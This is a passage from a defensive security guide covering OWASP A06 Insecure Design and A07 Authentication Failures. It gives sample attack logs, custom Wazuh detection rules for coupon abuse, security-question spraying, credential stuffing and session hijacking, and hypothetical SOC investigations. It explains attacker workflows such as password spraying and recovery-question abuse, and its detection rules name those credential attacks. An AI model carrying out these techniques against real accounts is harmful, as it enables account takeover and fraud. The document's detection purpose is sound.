Impact assessmentTables, rows, commands, lateral movementSOC with DBA and app owner
EscalationIncident lead, app owner, DBA, privacy teamSOC
Containment recommendationWAF block or virtual patch, disable feature, isolate server if commands ran, rotate DB credentialsSOC recommends; owners execute
CoordinationParameterized queries, input validation, output encoding for XSSDevelopers
Remediation verificationSafe retest, no new DB errors, WAF logs show blocksSOC with AppSec
Documentation and closurePayloads, timeline, data affected, root cause, rule tuningSOC and incident lead

Prevention and Remediation

  1. Use parameterized queries or safe APIs; this is OWASP’s preferred defense.
  2. Use positive server side input validation (allow lists) as an extra layer.
  3. Escape special characters for the specific interpreter when dynamic queries cannot be avoided.
  4. Never pass user input to a shell; use library functions instead.
  5. For XSS, encode output for the context (HTML, attribute, JavaScript) and use a Content Security Policy.
  6. Run database accounts with least privilege so injection cannot read every table.
  7. Add SAST, DAST and IAST testing to CI/CD.
  8. Use a WAF for virtual patching and visibility.

A06:2025 Insecure Design

Official page: OWASP A06:2025 Insecure Design

What Is Insecure Design?

Definition: Insecure Design means a needed security control was never designed into the application, so even perfect code cannot stop the abuse. It includes flaws in business logic, such as no limit on how many items one customer can reserve, or a password recovery process that relies on security questions.

Key terms:

  1. Design flaw versus implementation defect: OWASP stresses this difference. A design flaw means the control was never planned. An implementation defect means the control was planned but coded wrongly (for example injection).
  2. Business logic is the rules of the business process: discounts, limits, approvals, order of steps.
  3. Business logic abuse means using legitimate features in an unintended way, with normal looking requests.
  4. Threat modeling is the practice of analyzing a design to find how it could be abused before building it.
  5. Trust boundary is a line between more trusted and less trusted parts of a system. CWE-501 (trust boundary violation) is a notable A06 CWE.
  6. Unrestricted file upload (CWE-434) is also mapped to A06 when the design allows dangerous file types.
  7. Rate limiting and anti automation controls limit how fast or how often an action can be done.

What weakness it represents: “Missing or ineffective control design” (OWASP). The application lacks business risk profiling, so nobody decided what level of security was required.

Why it happens:

  1. Requirements do not include security and abuse cases.
  2. No threat modeling during design.
  3. Features are designed only for the happy path (normal use), not failure or abuse paths.
  4. Business limits are assumed but never enforced.
  5. Insecure patterns are reused, such as knowledge based recovery questions.

Why attackers target it: Requests look completely normal, so security tools often do not alert. Business logic abuse can directly produce money, inventory or accounts.

What can happen after successful exploitation: Financial loss (discount abuse, free goods), inventory hoarding, fraud, account takeover through weak recovery, service disruption, and reputational damage.

Business assets affected: revenue, inventory, promotions, customer accounts, brand reputation.

How Business Logic Abuse Works

  1. What the attacker needs first: Usually a normal account and time to study how a feature works. Sometimes many accounts or bots.
  2. What is targeted: Booking, checkout, coupons, refunds, loyalty points, account recovery, file upload, multi step workflows.
  3. What the attacker sends or changes: Valid requests used in an invalid way: huge quantities, repeated coupon use, skipping a step, many requests in parallel, or answering easily researched security questions.
  4. What the vulnerable application does: Exactly what it was designed to do, because no rule stops it.
  5. How the attacker exploits it: Automates the abuse or scales it with many accounts.
  6. What happens on success: Loss of money or goods, account takeover, unfair access to limited items.
  7. Evidence left behind: Usually no attack signatures. Evidence is behavioral: unusual quantities, unusual frequency, many accounts sharing one IP or device, actions in an unusual order. It mostly appears in application and business logs, not web server logs.

Insecure Design Attack Examples

Example 1: Group booking without limits (from the OWASP scenario)

  1. Situation: A cinema chain gives group discounts and requires a deposit above fifteen attendees. The booking API does not enforce a maximum per request or per account.
  2. Attacker objective: Block all seats for a premiere so real customers cannot book, or resell seats.
  3. Attacker actions: Sends a few booking requests for hundreds of seats.
  4. Example request:
POST /api/bookings HTTP/1.1
Content-Type: application/json

{"show_id": "PREM-2026-11-20", "seats": 600, "group_discount": true}
  1. Representative application log (JSON):
{"log_type":"business","event":"booking_created","account_id":"A-77812","client_ip":"203.0.113.90","show_id":"PREM-2026-11-20","seats":"600","deposit_paid":"false"}
  1. Vulnerable behavior: The application accepts the booking because no rule caps seats or requires the deposit at booking time.
  2. Attempt versus success: Here the request itself is the abuse. If the API had rejected it (422 with “limit exceeded”), it would be an attempt. A 201 Created and the business log entry show success.
  3. Impact: Lost ticket revenue and angry customers.

Example 2: Account recovery with security questions (from the OWASP scenario)

  1. Situation: A utility company’s customer portal lets users reset passwords by answering “What city were you born in?” and “What is your pet’s name?”
  2. Attacker objective: Take over customer accounts.
  3. Attacker actions: Finds answers on social media or tries common answers across many usernames.
  4. Representative application log entries:
{"log_type":"business","event":"kba_reset_attempt","username":"j.alvarez","client_ip":"198.51.100.44","result":"fail"}
{"log_type":"business","event":"kba_reset_attempt","username":"m.chen","client_ip":"198.51.100.44","result":"fail"}
{"log_type":"business","event":"kba_reset_attempt","username":"r.okafor","client_ip":"198.51.100.44","result":"success"}
  1. Vulnerable behavior: The design treats knowledge that other people can know as proof of identity. OWASP, NIST SP 800-63B and the OWASP ASVS all prohibit this approach.
  2. Attempt versus success: Failed attempts are attempts. A success followed by a password change and login is successful exploitation.
  3. Impact: Account takeover. Root cause is the design of recovery (A06). If the code had a bug in checking answers, that would be an implementation problem; if login had no brute force protection, A07 also applies.

Example 3: Scalper bots (from the OWASP scenario)

A retailer’s checkout has no anti bot design. Bots buy all high end graphics cards within seconds of release. Every request is valid, so injection or access control rules never fire. Evidence: purchases within seconds of availability, many accounts sharing payment cards or shipping addresses, and one IP range placing hundreds of orders.

Insecure Design Indicators and Evidence

IndicatorWhere you see itStrength
Quantities far above normal in one transactionBusiness or application logsStrong sign of abuse when no legitimate customer does this
One coupon or promotion used by many accounts in a short timeBusiness logsStrong
Many accounts acting from the same IP or deviceApp logs, login logsSuspicious (could be a shared office or carrier NAT)
Recovery attempts across many usernames from one IPApp logsStrong
Workflow steps in the wrong order (payment confirmation without payment)App logs with step namesStrong
Actions completed faster than a human could (checkout within 2 seconds of release)App logs with timestampsSuspicious to strong
Uploads of executable file types where only images are expectedApp logs, FIM on upload folderStrong
Normal HTTP status codes, no attack signaturesAccess logsWeak on their own, this is why A06 is hard to detect

How to Detect Business Logic Abuse with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Application business event logs (JSON) with event name, account, IP, amount, quantity, resultNecessaryThe only place where logic abuse is visible
Web access logsOptional supportShows volume and timing, but not business meaning
Fraud, payment or anti bot platform logsOptional, externalSpecialized detection for transactions and bots
FIM on upload directoriesRecommended for upload abuseShows dangerous files arriving
Authentication logsRecommendedConnects recovery abuse to logins

What Wazuh Can and Cannot Detect

  1. Directly with built in rules: Very little. Generic rules such as 31533 “High amount of POST requests in a small period of time (likely bot)” (level 10, 8 POST requests in 20 seconds from the same source IP, excluding admin paths) can show automation. Nothing built in understands seats, coupons or refunds.
  2. Needs custom rules: Almost everything in this category, based on application business logs.
  3. Needs application logs: Yes, always. If the application does not log business events, Wazuh has nothing to analyze.
  4. Needs external integrations: Fraud detection and bot management platforms for advanced cases.
  5. Cannot be reliably detected by Wazuh alone: The design flaw itself. Wazuh can detect abuse patterns if logged. Finding the flaw requires threat modeling, design review and testing.
  6. Suspicious versus proof: A rule that sees 600 seats booked detects abuse of a feature. It proves there is no limit in the design only when the business confirms that such a request should never be allowed.

Wazuh Rules for Business Logic Abuse

All rules below are custom rules (examples) for JSON business logs collected with <log_format>json</log_format>.

Rule logic:

  1. 100601: A booking for 100 or more seats.
  2. 100602 and 100603: The same coupon code is applied 20 times within 10 minutes, and each earlier use came from an account different from the latest one.
  3. 100604 and 100605: Ten security question reset attempts from one IP within 5 minutes, where each earlier attempt targeted a username different from the latest one.
  4. 100606: A security question reset succeeds from an IP that triggered 100605 in the last 10 minutes.
<group name="custom_owasp,owasp_a06,">

  <!-- Custom rule (example): unusually large booking -->
  <rule id="100601" level="10">
    <decoded_as>json</decoded_as>
    <field name="log_type">^business$</field>
    <field name="event">^booking_created$</field>
    <field name="seats" type="pcre2">^[1-9]\d{2,}$</field>
    <description>OWASP A06: Booking of $(seats) seats by account $(account_id), possible business logic abuse</description>
  </rule>

  <!-- Custom rule (example): counter for coupon use -->
  <rule id="100602" level="2">
    <decoded_as>json</decoded_as>
    <field name="log_type">^business$</field>
    <field name="event">^coupon_applied$</field>
    <description>OWASP A06: Coupon applied</description>
  </rule>

  <!-- Custom rule (example): same coupon used by many different accounts -->
  <rule id="100603" level="10" frequency="20" timeframe="600">
    <if_matched_sid>100602</if_matched_sid>
    <same_field>coupon_code</same_field>
    <different_field>account_id</different_field>
    <description>OWASP A06: Coupon $(coupon_code) applied 20 times by multiple accounts in 10 minutes</description>
  </rule>

  <!-- Custom rule (example): counter for security question reset attempts -->
  <rule id="100604" level="2">
    <decoded_as>json</decoded_as>
    <field name="log_type">^business$</field>
    <field name="event">^kba_reset_attempt$</field>
    <description>OWASP A06: Security question reset attempt</description>
  </rule>

  <!-- Custom rule (example): one IP trying security questions for many accounts -->
  <rule id="100605" level="10" frequency="10" timeframe="300">
    <if_matched_sid>100604</if_matched_sid>
    <same_field>client_ip</same_field>
    <different_field>username</different_field>
    <description>OWASP A06: Security question resets tried for multiple accounts from $(client_ip)</description>
    <mitre>
      <id>T1110</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): successful reset after the spray pattern -->
  <rule id="100606" level="12" timeframe="600">
    <if_sid>100604</if_sid>
    <if_matched_sid>100605</if_matched_sid>
    <same_field>client_ip</same_field>
    <field name="result">^success$</field>
    <description>OWASP A06: Security question reset succeeded for $(username) from IP that targeted many accounts</description>
    <mitre>
      <id>T1078</id>
    </mitre>
  </rule>

</group>

Syntax notes: same_field and different_field are documented Wazuh options for dynamic fields (decoded JSON keys). The documentation warns that they do not work with static fields such as srcip or user, which is why the examples use client_ip and username. Combining if_sid with if_matched_sid follows the pattern of built in rules such as 2509. Built in rule 40112 uses the same idea for “Multiple authentication failures followed by a success.”

How different_field counts: The Wazuh analysis engine compares each earlier event only with the current event, not the earlier events with each other (verified in src/analysisd/eventinfo.c, v4.14.10). Rule 100603 therefore proves that the latest account differs from the accounts in the earlier events, but two earlier events may share an account. To count truly unique accounts, analysts use a dashboard visualization on data.account_id or the application data. In frequency, the current event counts toward the total, so frequency="20" fires on the twentieth matching event.

Why these levels: 100601, 100603 and 100605 are strong abuse patterns that need business review (level 10). 100606 shows a likely account takeover (level 12).

How to test:

  1. Paste the booking JSON from Example 1 into wazuh-logtest. Expected: rule 100601.
  2. Change "seats":"600" to "seats":"4". Expected: no alert.
  3. Paste 10 kba_reset_attempt lines with different usernames and the same client_ip. The tenth should show 100605. Then paste a line with "result":"success" from the same IP. Expected: 100606.

Expected alert (representative, shortened):

{
  "rule": { "level": 10, "id": "100605", "description": "OWASP A06: Security question resets tried for multiple accounts from 198.51.100.44", "frequency": 10 },
  "agent": { "name": "portal-app-01" },
  "decoder": { "name": "json" },
  "data": { "log_type": "business", "event": "kba_reset_attempt", "username": "s.novak", "client_ip": "198.51.100.44", "result": "fail" },
  "location": "/var/log/portal/business.json"
}

Investigating the Alert in Wazuh

  1. Find the alert: Threat Hunting, filter rule.groups:owasp_a06.
  2. Fields to inspect: data.event, data.account_id, data.username, data.client_ip, data.coupon_code, data.seats, data.result, timestamp, previous_output (frequency rules include earlier matching events).
  3. Source IP: data.client_ip. Check if it is a mobile carrier, corporate network or hosting provider. Hosting providers are more suspicious for consumer actions.
  4. Affected application: agent.name and location.
  5. User accounts: List all accounts involved. Check creation dates; accounts created minutes before the abuse are a strong signal.
  6. Timestamps: Compare against business events (product release, promotion start).
  7. Correlate: Same IP or device across accounts, same payment card or shipping address (from business data), access log request rates.
  8. Success check: Business outcome: bookings confirmed, coupons redeemed, passwords changed, orders shipped.
  9. Impact: Money lost, inventory affected, accounts taken over.
  10. Document: Pattern, accounts, outcome, and a clear statement that the root cause is a missing design control.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.groups:owasp_a06All business logic abuse alertsTrends around promotions or releases
data.event:booking_created and data.client_ip:"203.0.113.90"All bookings from one IPNumber of accounts and seats
data.coupon_code:"WINTER50"All uses of one couponAccounts, IPs, timing
data.event:kba_reset_attempt and data.result:successSuccessful security question resetsThen check next logins and changes
rule.id:31533Many POSTs from one IP in a short timeBot driven abuse
rule.id:100606Likely recovery takeoversImmediate account protection

Detection Limitations

  1. No business logs means no visibility.
  2. Logic abuse uses valid requests, so signature rules do not help.
  3. Distributed attacks across many IPs avoid per IP thresholds.
  4. Thresholds depend on business context (a school may legitimately book 200 seats). Work with the business owner.
  5. Wazuh rule logic cannot easily compare numbers or keep long term per user baselines; complex fraud logic belongs in fraud platforms.
  6. Improve visibility: Ask developers to log business events in JSON with account, IP, amounts, quantities, step names and results. Agree thresholds with business owners. Feed fraud platform alerts into Wazuh.

Practical SOC Investigation Scenario: Security Question Abuse on a Customer Portal

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. A utility company’s customer portal lets users reset passwords by answering two security questions. The portal writes JSON business logs that Wazuh collects.

Initial suspicious activity. One IP starts attempting security question resets for many different customer accounts.

Initial detection. Custom rule 100605 fires: ten security question resets for multiple accounts came from 198.51.100.44 within five minutes. Four minutes later, custom rule 100606 fires for a successful reset of r.okafor from the same IP.

Logs examined. The analyst reviews the business logs filtered by data.client_ip, the authentication and account change events, and the web access logs for the same window.

Suspicious indicators. The IP made 340 reset attempts against 290 usernames in two hours, and 9 of them succeeded. The IP belongs to a hosting provider that no real customer had used before. The access logs show only normal 200 responses, and no built in web attack rule fires.

Event correlation. Each successful reset is followed by a password change, a login and a change to the bank account used for refunds. The portal team confirms that the reset flow has no rate limit and no lockout, and relies only on two security questions.

Assessment of successful exploitation. The failed attempts are attack attempts. The 9 successes, each followed by account changes from the same hosting IP, confirm account takeover. Every request was technically valid: no injection occurred and no authorization check was skipped. The application did exactly what it was designed to do.

Potential business impact. Nine accounts were taken over, and six had their refund bank details changed, creating a direct risk of financial fraud and exposure of personal data.

Incident response actions. The SOC escalates the case as High. It recommends blocking the IP, locking the nine accounts, reverting the bank detail changes and temporarily disabling security question recovery. The fraud team stops pending refunds to the changed accounts, and customer support contacts the affected customers.

Recommended remediation. The product team redesigns recovery around a verified email or SMS link plus MFA, with rate limits, and verification confirms the new flow is logged and limited. The root cause is the recovery design itself, so this is A06 Insecure Design. The missing brute force protection adds an A07 aspect.

Incident Response Process

StepCategory specific actionWho
Initial triageIs the activity outside normal business use? Confirm with the business ownerSOC L1 with business owner
Evidence collectionBusiness logs, account lists, transactions, IPs, access logsSOC L1 or L2
Event correlationLink accounts by IP, device, payment card, address, timingSOC L2 with fraud team
Severity assessmentMinor abuse (Low or Medium), financial loss or account takeover (High), large scale fraud (Critical)SOC L2
Impact assessmentMoney, inventory, accounts, customers affectedBusiness owner, fraud team, SOC
EscalationIncident lead, product owner, fraud teamSOC
Containment recommendationBlock IPs, lock accounts, cancel bookings or orders, disable the feature or add a temporary limitSOC recommends; product and operations execute
CoordinationRedesign the control, threat model the featureProduct, architects, developers
Remediation verificationTest the new limit, confirm new logs and alerts workSOC with AppSec
Documentation and closureAbuse pattern, loss, design root cause, new detectionsSOC and incident lead

Prevention and Remediation

  1. Include security and abuse cases in requirements.
  2. Threat model features during design and refinement.
  3. Enforce business limits on the server (quantities, frequency, approvals, step order).
  4. Replace security questions with stronger recovery methods.
  5. Restrict file uploads by type, size and storage location; never store uploads where they can execute.
  6. Add anti automation controls where abuse is likely.
  7. Design logging of business events from the start so abuse is visible.
  8. Use secure design patterns and reference architectures (OWASP SAMM can help structure this).

A07:2025 Authentication Failures

Official page: OWASP A07:2025 Authentication Failures

What Are Authentication Failures?

Definition: Authentication Failures happen when an attacker can trick the system into accepting them as a legitimate user, because the login, session or recovery process is weak: no protection against password guessing or credential stuffing, weak or default passwords, missing MFA, hardcoded credentials, or sessions that are not handled safely.

Key terms:

  1. Credential stuffing: Using username and password pairs leaked from other breaches against your site.
  2. Password spraying: Trying a few common passwords (for example Winter2026!) against many accounts to avoid lockouts. OWASP 2025 also describes hybrid attacks that adjust leaked passwords, such as changing Winter2025 to Winter2026.
  3. Brute force: Many password guesses against one account.
  4. MFA (Multi Factor Authentication) requires two or more proofs, such as a password plus an app code.
  5. Session ID or session token: The value (often in a cookie) that keeps a user logged in after authentication.
  6. Session fixation (CWE-384): The app keeps the same session ID before and after login, so an attacker who planted the ID can use it.
  7. Hardcoded credentials (CWE-798): Passwords or keys written into code or firmware.
  8. SSO (Single Sign On) lets one login give access to many apps. SLO (Single Logout) should log the user out of all of them.

What weakness it represents: The system cannot reliably distinguish the real user from an attacker. Notable CWEs listed by OWASP include CWE-287 (improper authentication), CWE-384 (session fixation), CWE-798 (hardcoded credentials) and CWE-297 (certificate host mismatch).

Why it happens:

  1. Passwords are the only factor.
  2. No rate limiting, lockout or bot protection on login.
  3. Weak password policies or no check against breached password lists.
  4. Session tokens are exposed in URLs, not rotated after login, or not invalidated on logout or timeout.
  5. Default or hardcoded credentials remain in products.

Why attackers target it: Billions of leaked credentials are available, and people reuse passwords. A valid login looks like normal use, which helps attackers stay hidden.

What can happen after successful exploitation: Account takeover, fraud, data theft under a real user’s identity, admin access if an admin account is taken, and further phishing from the compromised account.

Business assets affected: customer and employee accounts, admin accounts, VPN and email access, payment functions, personal data.

How Authentication Attacks Work

  1. What the attacker needs first: A list of usernames (often email addresses) and leaked passwords, or a list of common passwords, plus automation tools and many IP addresses (proxies).
  2. What part is targeted: Login pages and APIs, mobile app login endpoints, password reset, MFA prompts, session cookies.
  3. What the attacker sends: Many login requests with different username and password pairs, often slowly and from many IPs.
  4. What the vulnerable application does: Answers each attempt without limits and returns different responses for valid and invalid accounts, which acts as a “password oracle”.
  5. How the attacker exploits it: Collects the pairs that work, then logs in and uses the accounts.
  6. What happens on success: The attacker has a valid session, indistinguishable from the user unless context (location, device, behavior) is checked.
  7. Evidence left behind: Many failures across many accounts, failures followed by success, logins from new countries or hosting providers, impossible travel, session use from two IPs, MFA prompt floods, password and email changes after login.

Credential Stuffing and Password Spraying Examples

Example 1: Credential stuffing against a retail login API

  1. Situation: An online fashion retailer’s mobile app logs in through POST /api/v2/login. There is no MFA for customers and no bot protection.
  2. Attacker objective: Take over accounts with stored payment cards and loyalty points.
  3. Attacker actions: Uses a leaked list of 200,000 email and password pairs and rotates through proxy IPs.
  4. Representative application log (JSON):
{"log_type":"auth","event":"login_failed","username":"anna.k@example.com","client_ip":"203.0.113.150","reason":"bad_password","user_agent":"okhttp/4.12.0"}
{"log_type":"auth","event":"login_failed","username":"ben.t@example.com","client_ip":"203.0.113.150","reason":"unknown_user","user_agent":"okhttp/4.12.0"}
{"log_type":"auth","event":"login_success","username":"carla.m@example.com","client_ip":"203.0.113.150","mfa":"none","user_agent":"okhttp/4.12.0"}
  1. Vulnerable behavior: No rate limit, and different reasons (bad_password versus unknown_user) reveal which accounts exist.
  2. Attempt versus success: Each login_failed is an attempt. A login_success from the same IP after many failures for other accounts is very likely a stuffing success, confirmed if the real user did not log in from that IP and if the session then changes the shipping address or uses points.
  3. Impact: Account takeover, fraud with stored cards, loyalty point theft.

Example 2: Password spray against an employee portal

  1. Situation: A law firm’s web based email and document portal uses Windows authentication against Active Directory. Some accounts are exempt from MFA.
  2. Attacker objective: Get one employee account for internal phishing.
  3. Attacker actions: Tries Autumn2026! against 400 employee usernames once each, from a single IP, slowly.
  4. Representative Windows evidence: Many Event ID 4625 (failed logon) for different TargetUserName values with the same source IpAddress, then one Event ID 4624 (successful logon) for j.ward.
  5. Attempt versus success: 399 failures are attempts. The single 4624 from the same IP is success, confirmed if j.ward did not log in at that time.
  6. Impact: A foothold inside the firm, access to confidential client documents.

Example 3: Session not invalidated (from the OWASP scenario)

An employee uses a shared computer, closes the tab without logging out, and the session never times out. The next person opens the app and is still logged in as the first employee. Evidence: the same session ID used by a different workstation or later at an unusual time. With SSO and no Single Logout, logging out of one app may leave the user logged in to others.

Authentication Attack Indicators and Evidence

IndicatorWhere you see itStrength
Many failed logins for one accountApp auth logs, Windows 4625, Linux auth logsSuspicious (brute force or user forgot password)
Failed logins for many accounts from one IPApp auth logs, Windows 4625Strong sign of spraying or stuffing
High ratio of unknown_user failuresApp auth logsStrong sign of stuffing with leaked lists
Success after many failures from the same IPCorrelationStrong sign of compromise
Login from a new country, hosting provider or TOR exitApp logs plus IP enrichmentSuspicious
Impossible travel (two countries in minutes)CorrelationStrong
Same session ID used from two different IPsApp session logsStrong sign of session hijacking (check mobile network changes)
Many MFA push requests to one userIdentity provider logsStrong sign of MFA fatigue attack
Password, email or MFA device changed right after a new loginApp or identity logsStrong sign of takeover
Successful login with a default account name such as adminApp logsStrong

How to Detect Authentication Attacks with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Application authentication logs (JSON) with username, IP, result, reason, MFA statusNecessary for web app loginsWeb logins are usually not in OS logs
Web access logsRecommendedRequest volume to /login, status codes
Windows Security Event Log (4624, 4625, 4740)Necessary when the app uses Windows or AD authenticationBuilt in Wazuh rules exist
Linux authentication logs (/var/log/auth.log, /var/log/secure)Necessary for SSH and PAMBuilt in Wazuh rules exist
Identity provider logs (for example Microsoft Entra ID, Okta)Recommended, needs integrationMFA, SSO and risky sign ins
Web server authentication logs (Basic auth failures in Apache or NGINX error logs)OptionalBuilt in rules exist

What Wazuh Can and Cannot Detect

  1. Directly with built in rules (all checked in the v4.14.10 ruleset):
    1. Windows: 60122 Logon Failure - Unknown user or bad password (level 5), 60204 “Multiple Windows Logon Failures” (level 10), 60106 “Windows Logon Success” (level 3), 60115 “User account locked out (multiple login errors)” (level 9).
    2. Linux SSH and PAM: 5716 “sshd: authentication failed” (level 5), 5710 sshd: Attempt to login using a non-existent user (level 5), 5720 “sshd: Multiple authentication failures” (level 10), 5763 “sshd: brute force trying to get access to the system. Authentication failed.” (level 10), 5503 “PAM: User login failed” (level 5), 5551 “PAM: Multiple failed logins in a small period of time” (level 10).
    3. Web servers and CMS: 30108 “Apache: User authentication failed”, 31315 “Nginx: Web authentication failed” and 31316 “Nginx: Multiple web authentication failures”, 31509 “CMS (WordPress or Joomla) login attempt” (level 3) and 31510 “CMS (WordPress or Joomla) brute force attempt” (level 8, 8 in 30 seconds).
    4. Correlation: 40112 “Multiple authentication failures followed by a success” (level 12). It fires when an event in group authentication_success follows events in group authentication_failures from the same source IP within 240 seconds.
  2. Needs custom rules: Custom web application login logs, password spraying across many accounts (different usernames), session reuse from different IPs.
  3. Needs application logs: Yes, for any custom web login. Without them, the SOC only sees POST /login and status codes.
  4. Needs external integrations: Identity provider logs, IP reputation and geolocation enrichment, MFA logs.
  5. Cannot be reliably detected by Wazuh alone: a single correct login with a stolen password from a normal looking location, session hijacking when the session ID is not logged, and slow distributed stuffing across thousands of IPs.
  6. Suspicious versus proof: A spray rule detects attack attempts. A success after spray is strong suspicion of compromise. Proof comes from the real user confirming they did not log in, or from malicious actions in the session.

Wazuh Rules for Authentication Attacks

Custom rules (examples) for JSON application authentication logs:

<group name="custom_owasp,owasp_a07,authentication,">

  <!-- Custom rule (example): application login failure -->
  <rule id="100701" level="5">
    <decoded_as>json</decoded_as>
    <field name="log_type">^auth$</field>
    <field name="event">^login_failed$</field>
    <description>OWASP A07: Application login failed for $(username) from $(client_ip)</description>
    <group>authentication_failed,</group>
  </rule>

  <!-- Custom rule (example): password spray or credential stuffing, many usernames from one IP -->
  <rule id="100702" level="10" frequency="20" timeframe="300">
    <if_matched_sid>100701</if_matched_sid>
    <same_field>client_ip</same_field>
    <different_field>username</different_field>
    <description>OWASP A07: 20 login failures for multiple accounts from $(client_ip) in 5 minutes (spray or stuffing)</description>
    <mitre>
      <id>T1110.003</id>
      <id>T1110.004</id>
    </mitre>
    <group>authentication_failures,</group>
  </rule>

  <!-- Custom rule (example): brute force against one account -->
  <rule id="100703" level="10" frequency="10" timeframe="120">
    <if_matched_sid>100701</if_matched_sid>
    <same_field>username</same_field>
    <description>OWASP A07: 10 failed logins for account $(username) in 2 minutes</description>
    <mitre>
      <id>T1110.001</id>
    </mitre>
    <group>authentication_failures,</group>
  </rule>

  <!-- Custom rule (example): application login success -->
  <rule id="100704" level="3">
    <decoded_as>json</decoded_as>
    <field name="log_type">^auth$</field>
    <field name="event">^login_success$</field>
    <description>OWASP A07: Application login success for $(username)</description>
    <group>authentication_success,</group>
  </rule>

  <!-- Custom rule (example): success from an IP that was spraying -->
  <rule id="100705" level="12" timeframe="600">
    <if_sid>100704</if_sid>
    <if_matched_sid>100702</if_matched_sid>
    <same_field>client_ip</same_field>
    <description>OWASP A07: Successful login for $(username) from $(client_ip) after a spray or stuffing pattern</description>
    <mitre>
      <id>T1078</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): same session used from different IPs -->
  <rule id="100706" level="2">
    <decoded_as>json</decoded_as>
    <field name="log_type">^session$</field>
    <field name="event">^session_activity$</field>
    <description>OWASP A07: Session activity</description>
  </rule>

  <rule id="100707" level="10" frequency="2" timeframe="300">
    <if_matched_sid>100706</if_matched_sid>
    <same_field>session_id</same_field>
    <different_field>client_ip</different_field>
    <description>OWASP A07: Session for $(username) used from a different IP within 5 minutes, possible session hijacking</description>
    <mitre>
      <id>T1550.004</id>
    </mitre>
  </rule>

</group>

Notes:

  1. The groups authentication_failed, authentication_failures and authentication_success follow the naming used by built in rules, so dashboards that filter by these groups include the custom events.
  2. Built in rule 40112 correlates using same_source_ip, which relies on the static srcip field. These JSON logs use client_ip, so a dedicated rule (100705) is used instead.
  3. As in the A06 rules, different_field in 100702 compares earlier events with the current one, so the rule shows failures spread across several accounts rather than an exact count of unique accounts.
  4. By default, Wazuh counts frequency events per agent. If the login API runs on several servers, each with its own agent, the documented <global_frequency /> option makes the rule count events from all agents together.
  5. MITRE IDs: T1110.001 Password Guessing, T1110.003 Password Spraying, T1110.004 Credential Stuffing, T1078 Valid Accounts, T1550.004 Web Session Cookie. See MITRE ATT&CK T1110.

Why these levels: Single failures are user errors (level 5, matching Wazuh’s classification “user generated error”). Repeated failures and sprays are level 10 (“multiple user generated errors”). Success after spray is level 12, a high importance event needing quick action.

How to test:

  1. In wazuh-logtest, paste 20 login_failed lines with different usernames and the same client_ip. The twentieth should show 100702.
  2. Paste a login_success line from the same IP. Expected: 100705, level 12.
  3. Paste two session_activity lines with the same session_id and different client_ip. Expected: 100707 on the second.

Example session lines:

{"log_type":"session","event":"session_activity","session_id":"s-9f31c2","username":"carla.m@example.com","client_ip":"192.0.2.10","path":"/account"}
{"log_type":"session","event":"session_activity","session_id":"s-9f31c2","username":"carla.m@example.com","client_ip":"203.0.113.150","path":"/account/address"}

Expected alert (representative, shortened):

{
  "rule": { "level": 12, "id": "100705", "description": "OWASP A07: Successful login for carla.m@example.com from 203.0.113.150 after a spray or stuffing pattern", "groups": ["custom_owasp", "owasp_a07", "authentication"] },
  "agent": { "name": "shop-api-02" },
  "decoder": { "name": "json" },
  "data": { "log_type": "auth", "event": "login_success", "username": "carla.m@example.com", "client_ip": "203.0.113.150", "mfa": "none" }
}

Investigating the Alert in Wazuh

  1. Find the alert: Threat Hunting, filter rule.groups:authentication_failures or the specific ID. For Windows, the alert data is under data.win.
  2. Fields to inspect:
    1. App logs: data.username, data.client_ip, data.reason, data.mfa, data.user_agent.
    2. Windows: data.win.system.eventID, data.win.eventdata.targetUserName, data.win.eventdata.ipAddress, data.win.eventdata.logonType.
    3. Linux: data.srcip, data.srcuser or data.dstuser.
  3. Source IP: Count distinct accounts targeted by the IP; check ASN (hosting versus residential), reputation and country.
  4. Affected application: agent.name, location.
  5. User accounts: List successful accounts. Those are the priority.
  6. Timestamps: Attack start and end; time of each success; time of the real user’s last normal login.
  7. Correlate: For each successful account, check the next actions: password change, email change, address change, MFA registration, data download.
  8. Success check: Ask the user or their manager to confirm; compare device and location with their history.
  9. Impact: Number of compromised accounts and what they could access.
  10. Document: IP list, accounts targeted, accounts compromised, actions taken by the attacker, containment done.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.groups:authentication_failuresAll repeated failure alerts (built in and custom)Top sources and targets
rule.id:(100705 or 40112)Success after failuresImmediate account protection
data.event:login_success and data.client_ip:"203.0.113.150"Accounts that logged in from the attacking IPCompromised account list
data.win.system.eventID:4625 and data.win.eventdata.ipAddress:"198.51.100.70"Windows failed logons from one IPNumber of distinct targetUserName values
rule.id:60204Multiple Windows logon failuresSpray or brute force against AD
rule.id:(5720 or 5763 or 5551)Linux brute forceSource IPs, then check 5715 successes
rule.id:100707Session used from different IPsMobile network change or hijack
data.reason:unknown_userFailures for non existent accountsStuffing with external lists

Detection Limitations

  1. Custom web logins are invisible without application logs.
  2. Distributed attacks (one attempt per IP) defeat per IP thresholds; correlate on username, user agent or time window instead.
  3. A correct password on the first try produces no failure pattern.
  4. Session tokens are rarely logged, so hijacking is hard to see.
  5. False positives: NAT gateways, corporate proxies, mobile carriers, password manager errors, users after a password change.
  6. Improve visibility: JSON auth logs with result and reason, session logs with a hashed session ID, identity provider integration, IP enrichment, and alerts on post login account changes.

Practical SOC Investigation Scenario: Credential Stuffing Against a Mobile Login API

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. A fashion retailer’s mobile app authenticates through a login API. The API writes JSON authentication and session logs that Wazuh collects.

Initial suspicious activity. A single IP generates a burst of failed logins against many different customer accounts.

Initial detection. Custom rule 100702 fires: 20 login failures for multiple accounts from 203.0.113.150 in five minutes. Thirty seconds later, custom rule 100705 fires for a successful login for carla.m@example.com from the same IP.

Logs examined. The analyst reviews the authentication logs, the session logs and the access logs, then pivots on the user agent and on timing.

Suspicious indicators. The IP made 3,800 login attempts in one hour against 3,600 distinct usernames. About 70% failed with unknown_user, a typical sign of a credential list leaked from another site. Forty more IPs in the same hosting range show the same user agent and timing.

Event correlation. Across all the attacking IPs, 112 logins succeeded and none used MFA. The session logs show address changes and loyalty point redemptions within minutes of those logins. The mobile team confirms that no internal load test was running.

